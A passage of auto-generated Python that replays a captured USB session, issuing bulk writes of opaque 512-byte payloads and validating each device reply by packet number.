b\"\\x13\\x5B\\x22\\x78\\x5E\\x1A\\xCF\\x0D\\xCF\\x49\\xEA\\xF7\\x0B\\x3A\\x75\\xD2\"\n b\"\\x25\\x0F\\x1E\\x76\\x23\\x57\\x20\\x5A\\x1B\\x4F\\xD7\\x19\\xBB\\x65\\x7F\\x5D\"\n b\"\\x4E\\xA0\\x87\\x30\\xC0\\xCC\\x12\\x25\\x6F\\x73\\xF3\\xFC\\x46\\x61\\x9D\\x52\"\n b\"\\x93\\x84\\x28\\x06\\x60\\x61\\xCA\\x51\\xEA\\xAF\\x65\\xEE\\xFD\\x99\\x17\\x7A\"\n b\"\\xB2\\x68\\xAB\\xB2\\x6A\\x9B\\xFD\\x88\\x98\\xD9\\xAE\\x0E\\x19\\x0D\\xF6\\x07\"\n b\"\\xD2\\x6C\\xE0\\x1E\\xE0\\x1F\\x69\\x3D\\xD0\\xDE\\x6B\\x66\\xB8\\x1B\\x82\\xAE\"\n b\"\\x1D\\x21\\x5C\\x64\\xD3\\xD0\\x5B\\x8D\\xAF\\xA1\\xAD\\xB3\\x62\\xEE\\x3C\\xEB\"\n b\"\\xFE\\xFD\\x4D\\x53\\xD2\\xF7\\x74\\x84\\x01\\xE2\\x4C\\x78\\x19\\xCC\\x4D\\xC4\"\n b\"\\xF0\\x31\\xAF\\x32\\x7F\\x58\\x1A\\xF2\\x91\\x74\\x6B\\xBE\")\n # Generated from packet 2655/2656\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2655/2656\")\n # Generated from packet 2657/2658\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x49\\x61\\x03\\x12\\xD8\\x06\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x23\\x32\\xF2\\xFE\\xD7\\x6B\\xC8\\x1C\"\n b\"\\x50\\x38\\x4E\\xC2\\xE5\\x60\\x47\\x93\\x83\\x76\\x5E\\xED\\x24\\xFF\\x7D\\x49\"\n b\"\\x82\\xBD\\x26\\x21\\x47\\x54\\xEE\\x84\\x7D\\x8A\\x24\\xDE\\xEB\\xCD\\xCD\\xA2\"\n b\"\\x9A\\x3B\\xF3\\x6F\\xD5\\xAA\\xAB\\xF3\\xC6\\xDB\\x13\\xDF\\xCC\\xE2\\xC4\\x98\"\n b\"\\xBE\\x9A\\x38\\x13\\x80\\xBB\\x84\\xFD\\xDA\\xE9\\x12\\x72\\x63\\x8C\\xB2\\x9C\"\n b\"\\x4F\\xFD\\xFE\\x58\\xFC\\xE5\\xC3\\x0C\\xE8\\x6D\\x62\\xE6\\x9B\\x3D\\x56\\xD7\"\n b\"\\x31\\xC4\\x25\\xF9\\xCC\\x3D\\x0F\\xC3\\xDB\\xB2\\x30\\xD3\\x94\\x45\\x1F\\xDC\"\n b\"\\x29\\x5E\\xC7\\x6A\\xFA\\x30\\x38\\x23\\x63\\x64\\x4F\\xAC\\xB2\\x8E\\x68\\x0A\"\n b\"\\xB2\\x18\\xB5\\xF2\\x86\\xCC\\xE8\\x2D\\xFC\\x29\\x5C\\x24\\x44\\x30\\x01\\x7E\"\n b\"\\x97\\xA6\\xAE\\x3B\\x6A\\x1D\\x7D\\x28\\xFD\\x09\\xC7\\x22\\xD8\\x51\\xD9\\x9A\"\n b\"\\x7B\\x67\\xFA\\x03\\xF6\\x2B\\x14\\x99\\x6F\\x66\\x39\\x8C\\xF8\\x4A\\xCF\\xA4\"\n b\"\\x9C\\x53\\x3D\\x87\\x66\\xD5\\xCC\\x72\\xA3\\x6F\\x1F\\x60\\x6A\\x61\\x11\\x5C\"\n b\"\\xAA\\x03\\x8C\\xB7\\x65\\x68\\xFB\\xAF\\x3A\\xC8\\x75\\x1E\\x62\\xB2\\xE8\\xBA\"\n b\"\\xD5\\x79\\xE3\\xB4\\x41\\x77\\x49\\xE0\\xAF\\x88\\x13\\xA8\\x22\\xD5\\xDD\\xAA\"\n b\"\\x19\\xAA\\xAB\\xC5\\x71\\xC3\\x52\\xDE\\x88\\x84\\x44\\xF1\\x13\\x00\\x73\\x93\"\n b\"\\x58\\xB5\\x1A\\x8F\\x9F\\x34\\x1D\\xFA\\xC3\\x75\\x48\\xE3\\x51\\x45\\xB4\\x88\"\n b\"\\xAE\\x5C\\x01\\x6A\\x1A\\x0D\\x52\\x3E\\x68\\xB1\\xE2\\x49\")\n # Generated from packet 2659/2660\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2659/2660\")\n # Generated from packet 2661/2662\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x62\\x13\\xBC\\x30\\x0B\\x48\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xE3\\xB8\\x0F\\xED\\x5D\\x1B\\x37\\xEF\"\n b\"\\xB3\\xC1\\xC8\\xB0\\xDA\\x81\\xD4\\xB0\\x88\\x94\\xBA\\x6F\\x35\\x68\\x1C\\xDF\"\n b\"\\xB6\\xCE\\x09\\xDF\\x7A\\xFA\\xFE\\xD3\\x28\\x67\\xC5\\xB8\\xFE\\x47\\x7D\\x18\"\n b\"\\xD9\\x39\\x46\\x4A\\xAD\\xD1\\x5C\\x3F\\xCF\\x4E\\x54\\xF6\\x61\\xB8\\x7B\\xE6\"\n b\"\\x56\\x90\\x91\\x3D\\x5D\\x44\\xB5\\x76\\x8F\\x5F\\x74\\xA7\\xE3\\x92\\x1E\\x0D\"\n b\"\\x23\\x12\\xD4\\x1F\\xF7\\xBE\\xC3\\xC3\\x1A\\xCB\\x83\\x97\\x3F\\x31\\x91\\xC6\"\n b\"\\xA0\\x14\\xE5\\x77\\xCB\\xB0\\x6E\\xAE\\x95\\x9C\\x16\\x9B\\x22\\xDF\\xAF\\x92\"\n b\"\\x40\\x9B\\x43\\x74\\x72\\xF6\\xC4\\xD5\\xE7\\xE3\\x3D\\xEA\\x06\\x3A\\x0D\\x1B\"\n b\"\\x68\\x94\\x8B\\x4C\\x9D\\xC0\\x30\\x44\\x7F\\x97\\xAE\\xDD\\xB0\\x28\\x6F\\x34\"\n b\"\\xEA\\xBC\\xE8\\x38\\xBD\\x74\\xBF\\x15\\x07\\x4E\\x5C\\x92\\xDE\\xC8\\x82\\x27\"\n b\"\\x0F\\xC1\\xD3\\x41\\x9B\\xD8\\xAD\\xE6\\x41\\xFB\\x09\\x40\\xC6\\xA0\\x61\\x85\"\n b\"\\x77\\x68\\xC4\\xBF\\xA9\\xA2\\x9E\\x29\\x34\\x4B\\xE2\\x58\\x18\\x75\\x2F\\x17\"\n b\"\\x89\\x2D\\xB3\\x04\\x23\\x95\\x9F\\x0E\\x05\\x42\\xD8\\x7C\\xB9\\xBE\\x53\\x42\"\n b\"\\x98\\x02\\xBD\\xC8\\x1A\\xF4\\x32\\xA1\\xAF\\x34\\xDC\\x8D\\xDE\\x78\\x18\\x3E\"\n b\"\\xC6\\x45\\x4C\\x2A\\x4E\\xE4\\xA6\\x59\\x1E\\xD0\\x97\\xF3\\xE7\\xA3\\xB9\\x0E\"\n b\"\\x1E\\x89\\x83\\x19\\x91\\xB6\\x93\\x56\\xF3\\xB9\\x9C\\xEB\\x38\\x9E\\x2A\\x38\"\n b\"\\xCA\\x61\\x63\\x71\\x8C\\x76\\xEC\\x70\\x6E\\x31\\x4A\\x70\")\n # Generated from packet 2663/2664\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2663/2664\")\n # Generated from packet 2665/2666\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xFC\\x2B\\x88\\x2B\\x88\\x6E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x51\\x1F\\x26\\x20\\xC0\\x5F\\xEE\\x84\"\n b\"\\xF9\\x81\\x24\\xDE\\x6F\\xC6\\xCD\\xA2\\x1E\\x30\\xF3\\x6F\\x51\\xA1\\xAB\\xF3\"\n b\"\\x42\\xD0\\x13\\xDF\\x48\\xE9\\xC4\\x98\\x3A\\x91\\x38\\x13\\x04\\xB0\\x84\\xFD\"\n b\"\\x94\\x32\\x72\\x72\\xE7\\x87\\xB2\\x9C\\xCB\\xF6\\xFE\\x58\\x78\\xEE\\xC3\\x0C\"\n b\"\\x6C\\x66\\x62\\xE6\\x1F\\x36\\x56\\xD7\\xB5\\xCF\\x25\\xF9\\x48\\x36\\x0F\\xC3\"\n b\"\\x0A\\xB9\\x30\\xD3\\x03\\x4E\\x1F\\xDC\\xBA\\x55\\xC7\\x6A\\x22\\x3B\\x38\\x23\"\n b\"\\xE6\\xBF\\x2F\\xAC\\xA9\\x85\\x68\\x0A\\x33\\xEC\\xB5\\xF2\\x93\\x18\\x88\\x2D\"\n b\"\\x78\\x22\\x5C\\x24\\xC0\\x3B\\x01\\x7E\\x1C\\x52\\xAE\\x3B\\xEE\\x16\\x7D\\x28\"\n b\"\\xB4\\xFD\\xC7\\x22\\x4E\\xAB\\x99\\x9A\\xEC\\x9E\\xBA\\x03\\xB2\\x61\\x54\\x99\"\n b\"\\x37\\xAD\\x39\\x8C\\x21\\x81\\xCF\\xA4\\x09\\xA9\\x3D\\x87\\xA3\\x03\\xCC\\x72\"\n b\"\\xFB\\xA4\\x1F\\x60\\x32\\xAA\\x11\\x5C\\x3E\\xE0\\xEC\\xB7\\x3D\\xA3\\xFB\\xAF\"\n b\"\\xBF\\xD1\\x75\\x1E\\x38\\x79\\xE8\\xBA\\x8D\\xB2\\xE3\\xB4\\x18\\xBC\\x49\\xE0\"\n b\"\\xF7\\x43\\x13\\xA8\\x7A\\x1E\\xDD\\xAA\\xC3\\x61\\xAB\\xC5\\xEE\\x69\\x52\\xDE\"\n b\"\\x90\\x2E\\x44\\xF1\\x0D\\xAA\\x73\\x93\\x47\\x1F\\x1A\\x8F\\x01\\x9E\\x1D\\xFA\"\n b\"\\x82\\x7C\\x48\\xE3\\xD4\\x4C\\xB4\\x88\\xF5\\x55\\x01\\x6A\\x43\\x04\\x52\\x3E\"\n b\"\\x3F\\xB8\\xE2\\x49\\x92\\x0C\\xBD\\x4A\\x1E\\xC5\\x42\\x8D\\x04\\x0A\\x5C\\x4F\"\n b\"\\x5C\\xD7\\x0A\\x43\\x38\\x46\\x76\\x01\\x02\\xFD\\xDD\\xEA\")\n # Generated from packet 2667/2668\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2667/2668\")\n # Generated from packet 2669/2670\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x24\\x5A\\x2C\\x84\\x81\\x31\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x9E\\x9F\\x1A\\x57\\xB2\\xE3\\x59\\xEF\"\n b\"\\xBB\\x4B\\x1D\\x03\\x5C\\xB3\\x70\\x84\\xFD\\x26\\x65\\x7D\\x42\\xC7\\xBC\\x4D\"\n b\"\\x32\\xA9\\x12\\xCB\\x65\\x5C\\x46\\x70\\x6D\\xBE\\x11\\xEE\\xF4\\x71\\xAE\\x2F\"\n b\"\\x5E\\x80\\x3A\\xA8\\x0F\\x1E\\xF2\\xFF\\xA0\\x08\\xC8\\x1C\\xF7\\x9B\\x4E\\xC2\"\n b\"\\x8E\\x03\\x47\\x93\\x24\\xD5\\x5E\\xED\\xCB\\x7C\\x7D\\x49\\x6D\\x1E\\x26\\x21\"\n b\"\\xE0\\xF7\\xEE\\x84\\xD0\\x09\\x24\\xDE\\x5B\\xAE\\xCD\\xA2\\x2E\\x78\\xF3\\x6F\"\n b\"\\x61\\xE9\\xAB\\xF3\\xB5\\x58\\x13\\xDF\\xFD\\x61\\xC4\\x98\\x4A\\x19\\x38\\x13\"\n b\"\\x27\\x18\\x84\\xFD\\xAD\\x9A\\x72\\x72\\x41\\x0F\\xB2\\x9C\\x6F\\x7E\\xFE\\x58\"\n b\"\\x0B\\x15\\x83\\x0C\\x1A\\xBD\\xA2\\xE6\\x49\\xCD\\x16\\xD7\\xC3\\x34\\x65\\xF9\"\n b\"\\x3E\\xED\\xA5\\xEA\\xE0\\xE8\\x1A\\x9B\\x66\\xB5\\x5F\\xDC\\xDB\\xAE\\x87\\x6A\"\n b\"\\x08\\xC0\\x78\\x23\\x41\\x44\\x6F\\xAC\\x91\\x7E\\x28\\x0A\\x40\\xC8\\x55\\xF2\"\n b\"\\x84\\x1C\\x58\\x2D\\x0E\\xD9\\x3C\\x24\\xB6\\xC0\\x44\\x7E\\xED\\x56\\x42\\x3B\"\n b\"\\x56\\xED\\x10\\x28\\x63\\xF9\\x2B\\x22\\x1A\\xAF\\x14\\x9A\\xDD\\x9A\\x56\\x03\"\n b\"\\x57\\x5A\\xD8\\x99\\xB1\\x96\\x15\\x8C\\xA6\\xBA\\x67\\xA4\\x89\\x92\\x54\\x87\"\n b\"\\x83\\x38\\x8C\\x72\\x98\\x9F\\x5F\\x60\\xF7\\x91\\xFD\\x5C\\x70\\xDB\\x00\\xB7\"\n b\"\\x90\\x98\\xF7\\xAF\\x39\\xEA\\x13\\x1E\\xF6\\x42\\x0D\\xBA\\x61\\x89\\x8F\\xB4\"\n b\"\\xB4\\x87\\x2F\\xE0\\xF8\\x78\\xD5\\xA8\\x56\\x25\\x5B\\xAA\")\n # Generated from packet 2671/2672\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2671/2672\")\n # Generated from packet 2673/2674\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x00\\xEB\\x4B\\x8F\\x38\\x27\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x65\\x83\\xD4\\xB1\\x9B\\x6F\\x5F\\x6F\"\n b\"\\xA6\\x93\\x7A\\xDF\\x2F\\x35\\xE5\\xDF\\x60\\x01\\x58\\xD3\\xD1\\x9C\\xE3\\xB8\"\n b\"\\x66\\xBC\\x3A\\x18\\xAA\\xC2\\x4A\\x4A\\x9E\\x2A\\x30\\x3F\\x77\\xB5\\x52\\xF6\"\n b\"\\x82\\xBA\\x94\\xE6\\x6E\\xB2\\xD1\\x3D\\xE6\\x06\\x5C\\x76\\x17\\x7D\\xFC\\xA7\"\n b\"\\x45\\x90\\x78\\x0D\\xD7\\x30\\x92\\x1F\\xD8\\x9C\\x83\\xC3\\xC9\\xA9\\x06\\x97\"\n b\"\\xED\\x33\\xD1\\xD6\\x14\\x17\\x25\\x77\\x39\\x12\\xD1\\x51\\x98\\xBE\\xB6\\x3B\"\n b\"\\xE0\\xBD\\xE7\\x92\\x78\\x59\\xA3\\x54\\xC0\\xDC\\x84\\xD5\\xF5\\x61\\x2D\\xAA\"\n b\"\\xFC\\x18\\x4D\\xFB\\x3A\\xF6\\x8B\\x44\\x6F\\xE2\\x70\\x44\\xAC\\xF5\\x2B\\xDD\"\n b\"\\x62\\x2A\\x2F\\x24\\x16\\xBF\\x28\\x38\\x8C\\xD6\\x00\\xEA\\x45\\x6C\\xFC\\x32\"\n b\"\\xD9\\xAA\\xC2\\x67\\xB1\\x03\\x33\\x61\\xE7\\xFA\\xAD\\xE6\\xCE\\x79\\x19\\x00\"\n b\"\\x6C\\xC2\\x21\\x65\\x25\\x0A\\xC4\\xBF\\x1B\\x80\\xDE\\x29\\xDD\\x09\\xA9\\xB0\"\n b\"\\x46\\x3B\\xC1\\xD2\\x17\\xE2\\x5E\\x04\\x0A\\xB7\\xDF\\x0E\\xF1\\x00\\x93\\x94\"\n b\"\\xE7\\xF0\\xBD\\x46\\xE0\\xA6\\xFA\\xCC\\xE2\\x98\\x9F\\x4D\\x13\\x3A\\x31\\x20\"\n b\"\\x80\\x14\\x58\\x3E\\x75\\xA7\\x0C\\x6A\\x43\\xC6\\x19\\x51\\xCC\\xF2\\xD7\\xF3\"\n b\"\\x67\\x0B\\x90\\x0C\\x2F\\x76\\x92\\xF6\\x05\\xC2\\x6F\\xAE\\x61\\xF3\\x61\\x48\"\n b\"\\x2C\\x65\\x1D\\xDD\\x41\\xA5\\x18\\xE6\\x9B\\xBA\\x7F\\x04\\x4A\\x41\\x55\\x88\"\n b\"\\x8B\\x31\\xF2\\xD4\\x3D\\x2C\\x2D\\x36\\x34\\x6C\\x4E\\xC7\")\n # Generated from packet 2675/2676\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2675/2676\")\n # Generated from packet 2677/2678\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x0B\\x94\\xC1\\xFA\\x61\\x24\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x38\\x68\\x09\\x5F\\x17\\x42\\x49\\x16\"\n b\"\\xFD\\x99\\xA3\\x82\\xF8\\x12\\x7A\\x99\\x18\\x23\\xC8\\x74\\x72\\x89\\xD6\\xD4\"\n b\"\\xB8\\x9B\\x02\\x78\\xAF\\x47\\xEF\\x0D\\xEF\\x13\\xCA\\xF7\\xFD\\x42\\x55\\xD2\"\n b\"\\x89\\xF3\\x3E\\x76\\x02\\x2A\\x60\\x5A\\x7A\\x1F\\xD7\\x19\\xC3\\x16\\x7F\\x5D\"\n b\"\\x2F\\xF0\\x87\\x30\\x89\\xB1\\x12\\x25\\x51\\x6E\\xF3\\xFC\\x61\\x9F\\x9D\\x52\"\n b\"\\xE7\\xC8\\x68\\x06\\x5C\\xC0\\x8A\\x51\\xC2\\x59\\x45\\xEE\\x03\\xB0\\x57\\x7A\"\n b\"\\x84\\xBC\\x8B\\xB2\\xD3\\x91\\xBD\\x88\\x30\\x16\\xEE\\x0E\\xEE\\xA3\\xB6\\x07\"\n b\"\\xBF\\xC5\\xA0\\x1E\\xC1\\x62\\x29\\x3D\\x45\\xC4\\x6B\\x66\\x0D\\x00\\xA2\\xA6\"\n b\"\\xA8\\x33\\x5C\\x64\\xD2\\x52\\x3B\\x8D\\x96\\x46\\xCD\\xB3\\x43\\x52\\x98\\x0B\"\n b\"\\xCF\\xB0\\x7D\\x42\\xC2\\xDB\\x45\\x94\\x15\\xF9\\xEC\\xF8\\x7F\\xE6\\x4D\\xE4\"\n b\"\\x51\\x2C\\xCE\\xB2\\x5E\\x25\\x5A\\xF2\\x30\\x2B\\x4D\\xD6\\xF4\\x5A\\xAB\\x8B\"\n b\"\\x20\\xAE\\xBB\\x22\\xCA\\xDD\\xEB\\x16\\xFB\\x77\\x12\\x65\\xD5\\x8A\\xEB\\x4F\"\n b\"\\xEF\\x9D\\x64\\x70\\xFF\\xD2\\x93\\x5F\\xF0\\x6F\\x88\\x87\\x46\\xBC\\xE6\\x78\"\n b\"\\x0F\\xF5\\x62\\x6F\\x80\\xF4\\x58\\x28\\x26\\xF4\\xCE\\xF5\\xDE\\x10\\x3A\\xC8\"\n b\"\\x01\\xBA\\xFF\\x1C\\x08\\x02\\xE6\\x41\\x52\\xD1\\x70\\xEE\\x17\\x2C\\xCB\\x3D\"\n b\"\\x04\\xBB\\xDF\\x87\\x0E\\x87\\x89\\xD9\\xB6\\xE7\\xBC\\xFA\\x2F\\xAD\\x7C\\x14\"\n b\"\\xB5\\x29\\xB0\\x79\\xA0\\xBE\\x9C\\x8F\\x88\\x97\\xB4\\x7D\")\n # Generated from packet 2679/2680\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2679/2680\")\n # Generated from packet 2681/2682\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x32\\xF5\\x51\\x98\\x6B\\x03\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xB2\\x98\\xA5\\xBF\\xBE\\xF0\\x78\\x85\"\n b\"\\xD5\\x26\\x58\\x3D\\x75\\x01\\x26\\x06\\x27\\x75\\xCE\\x1C\\x52\\x17\\x51\\x14\"\n b\"\\x9B\\x29\\x5E\\x3B\\x8B\\x09\\x56\\xD1\\x50\\xC3\\x82\\xF5\\x1B\\x1A\\x99\\x34\"\n b\"\\xCA\\xA8\\x74\\x5E\\x60\\xB6\\xD4\\x94\\x72\\x62\\x78\\x83\\xAE\\x8F\\x0D\\xC3\"\n b\"\\xFA\\xAA\\xF7\\xD1\\xAB\\x35\\xD2\\xA5\\x1A\\x5E\\x76\\x2E\\xC3\\x00\\x5A\\x56\"\n b\"\\xF6\\xB7\\x19\\xEF\\xFF\\x1F\\x5D\\x03\\x19\\xE7\\x30\\x84\\xB8\\x72\\x25\\x7D\"\n b\"\\x87\\x93\\xFC\\x4D\\x76\\xFD\\x52\\xCB\\x21\\x08\\x06\\x70\\x29\\xEA\\x51\\xEE\"\n b\"\\xB0\\x25\\xEE\\x2F\\x59\\x37\\x7A\\xA8\\x55\\xEB\\xB2\\xFF\\x78\\xDD\\x88\\x1C\"\n b\"\\xFF\\x8E\\x0E\\xC2\\x4A\\xD6\\x07\\x93\\x2C\\xC0\\x1E\\xED\\x8B\\x49\\x3D\\x49\"\n b\"\\x2D\\x0B\\x66\\x21\\xE8\\xE2\\xAE\\x84\\xD2\\x3C\\x64\\xDE\\x44\\x7B\\x8D\\xA2\"\n b\"\\x35\\x8D\\xB3\\x6F\\x7A\\x1C\\xEB\\xF3\\x69\\x6D\\x53\\xDF\\x63\\x54\\x84\\x98\"\n b\"\\x11\\x2C\\x78\\x13\\x2F\\x0D\\xC4\\xFD\\xA5\\x8F\\x32\\x72\\xCC\\x3A\\xF2\\x9C\"\n b\"\\xE0\\x4B\\xBE\\x58\\x53\\x53\\x83\\x0C\\x47\\xDB\\x22\\xE6\\x34\\x8B\\x16\\xD7\"\n b\"\\x9E\\x72\\x65\\xF9\\x63\\x8B\\x4F\\xC3\\x74\\x04\\x70\\xD3\\x3B\\xF3\\x5F\\xDC\"\n b\"\\x86\\xE8\\x87\\x6A\\x55\\x86\\x78\\x23\\x1C\\x02\\x6F\\xAC\\x1D\\x38\\x28\\x0A\"\n b\"\\x1D\\xAE\\xF5\\xF2\\xF9\\x5A\\xC8\\x2D\\x53\\x9F\\x1C\\x24\\xEB\\x86\\x41\\x7E\"\n b\"\\x38\\x10\\xEE\\x3B\\xC5\\xAB\\x3D\\x28\\x52\\xBF\\x87\\x22\")\n # Generated from packet 2683/2684\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2683/2684\")\n # Generated from packet 2685/2686\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x60\\x04\\x43\\xA4\\x68\\x4E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x96\\x44\\x59\\xEE\\x9F\\xB6\\x5D\\x03\"\n b\"\\x79\\x4E\\x30\\x84\\xD8\\xDB\\x25\\x7D\\xE7\\x3A\\xFC\\x4D\\x16\\x54\\x52\\xCB\"\n b\"\\x41\\xA1\\x06\\x70\\x49\\x43\\x51\\xEE\\xD0\\x8C\\xEE\\x2F\\x39\\x9E\\x7A\\xA8\"\n b\"\\x35\\x42\\xB2\\xFF\\x18\\x74\\x88\\x1C\\x9F\\x27\\x0E\\xC2\\x2A\\x7F\\x07\\x93\"\n b\"\\x4C\\x69\\x1E\\xED\\xEB\\xE0\\x3D\\x49\\x4D\\xA2\\x66\\x21\\x88\\x4B\\xAE\\x84\"\n b\"\\xB2\\x95\\x64\\xDE\\x24\\xD2\\x8D\\xA2\\x55\\x24\\xB3\\x6F\\x1A\\xB5\\xEB\\xF3\"\n b\"\\x09\\xC4\\x53\\xDF\\x03\\xFD\\x84\\x98\\x71\\x85\\x78\\x13\\x4F\\xA4\\xC4\\xFD\"\n b\"\\xC5\\x26\\x32\\x72\\xAC\\x93\\xF2\\x9C\\x80\\xE2\\xBE\\x58\\x33\\xFA\\x83\\x0C\"\n b\"\\x27\\x72\\x22\\xE6\\x54\\x22\\x16\\xD7\\xFE\\xDB\\x65\\xF9\\x03\\x22\\x4F\\xC3\"\n b\"\\x14\\xAD\\x70\\xD3\\x5B\\x5A\\x5F\\xDC\\xE6\\x41\\x87\\x6A\\x35\\x2F\\x78\\x23\"\n b\"\\x7C\\xAB\\x6F\\xAC\\x7D\\x91\\x28\\x0A\\x7D\\x07\\xF5\\xF2\\x99\\xF3\\xC8\\x2D\"\n b\"\\x33\\x36\\x1C\\x24\\x8B\\x2F\\x41\\x7E\\x58\\xB9\\xEE\\x3B\\xA5\\x02\\x3D\\x28\"\n b\"\\x32\\x16\\x87\\x22\\x0E\\x40\\xD9\\x9A\\x6E\\x75\\xFA\\x03\\x24\\xB5\\x14\\x99\"\n b\"\\xA0\\x79\\x79\\x8C\\x37\\x55\\x8F\\xA4\\x1E\\x7D\\x7D\\x87\\x36\\xD7\\x8C\\x72\"\n b\"\\x6C\\x70\\x5F\\x60\\xA5\\x7E\\x51\\x5C\\xAB\\x34\\xAC\\xB7\\xAA\\x77\\xBB\\xAF\"\n b\"\\x28\\x05\\x35\\x1E\\xAD\\xAD\\xA8\\xBA\\x1A\\x66\\xA3\\xB4\\x8E\\x68\\x09\\xE0\"\n b\"\\x60\\x97\\x53\\xA8\\xED\\xCA\\x9D\\xAA\\xD6\\xB5\\xEB\\xC5\")\n # Generated from packet 2687/2688\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2687/2688\")\n # Generated from packet 2689/2690\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xAE\\x54\\x4D\\xB0\\x12\\x32\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xBE\\x51\\x0F\\x7C\\xF0\\x56\\xFD\\xFE\"\n b\"\\xA0\\xAA\\xA9\\xAD\\xA1\\x61\\x27\\x82\\x6A\\x09\\xEC\\xE5\\x46\\x31\\xEF\\x0B\"\n b\"\\x9C\\xCE\\xB0\\x62\\xDC\\xD2\\xB0\\x30\\xC9\\xBC\\x6F\\x8D\\x35\\x1A\\xDF\\x0E\"\n b\"\\x93\\x0F\\xDF\\xC2\\xA7\\xF8\\xD3\\x90\\x3A\\xC3\\xB8\\x46\\x1A\\x7B\\x18\\x61\"\n b\"\\x64\\x40\\x4A\\x15\\x8C\\x5A\\x3F\\x77\\x13\\x52\\xF6\\x49\\x1C\\x7D\\xE6\\x69\"\n b\"\\x14\\x97\\x3D\\xA3\\xC0\\xB3\\x76\\x7A\\xDB\\x72\\xA7\\xC8\\x36\\x18\\x0D\\xD6\"\n b\"\\x96\\xD2\\x1F\\x02\\x3A\\xC5\\xC3\\xEF\\x4F\\x85\\x97\\xCA\\xB5\\x97\\xC6\\x55\"\n b\"\\x90\\xE3\\x77\\x3E\\x34\\x68\\xAE\\x60\\x18\\x10\\x9B\\xD7\\x5B\\xA9\\x92\\x7F\"\n b\"\\x1F\\x45\\x74\\x87\\x72\\xC2\\xD5\\x12\\x67\\x3B\\xEA\\xF3\\xBE\\x0B\\x1B\\x9D\"\n b\"\\x10\\x8D\\x4C\\x68\\x44\\x36\\x44\\x8A\\x13\\xA8\\xDD\\x45\\xAC\\x69\\x34\\x57\"\n b\"\\x38\\xEE\\x38\\x8B\\xF0\\xB9\\x15\\xBD\\xCA\\x5A\\x92\\xEE\\x4C\\x84\\x27\\xB6\"\n b\"\\x45\\xD5\\x41\\xA0\\x5C\\xAB\\xE6\\x29\\x7F\\x0F\\x40\\x6B\\x24\\x67\\x85\\x82\"\n b\"\\xEC\\xC2\\xBF\\x5C\\x26\\x98\\x29\\x1B\\xCF\\xE4\\x58\\xED\\xF1\\x29\\x17\\x7C\"\n b\"\\xA9\\xB5\\x04\\x0D\\x11\\x99\\x0E\\x34\\xC6\\xDE\\x7C\\x4C\\x3A\\x55\\x42\\x6D\"\n b\"\\x86\\xBB\\xC8\\xEF\\x70\\x34\\xA1\\x5A\\xB0\\xDA\\x8D\\x2B\\xFC\\x1E\\x3E\\x33\"\n b\"\\xC1\\x4A\\x2A\\xBB\\x60\\xA0\\x59\\xEB\\x54\\x91\\xF3\\x12\\x27\\xBF\\x0E\\xEB\"\n b\"\\x0D\\x85\\x19\\x64\\x32\\x95\\x56\\x93\\x1D\\x9A\\xEB\\x88\")\n # Generated from packet 2691/2692\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2691/2692\")\n # Generated from packet 2693/2694\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xC4\\xE6\\x66\\xDC\\x62\\x02\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xC7\\x20\\x2F\\x8C\\x3B\\x1C\\xDF\\x0E\"\n b\"\\x9D\\x09\\xDF\\xC2\\xA9\\xFE\\xD3\\x90\\x34\\xC5\\xB8\\x46\\x14\\x7D\\x18\\x61\"\n 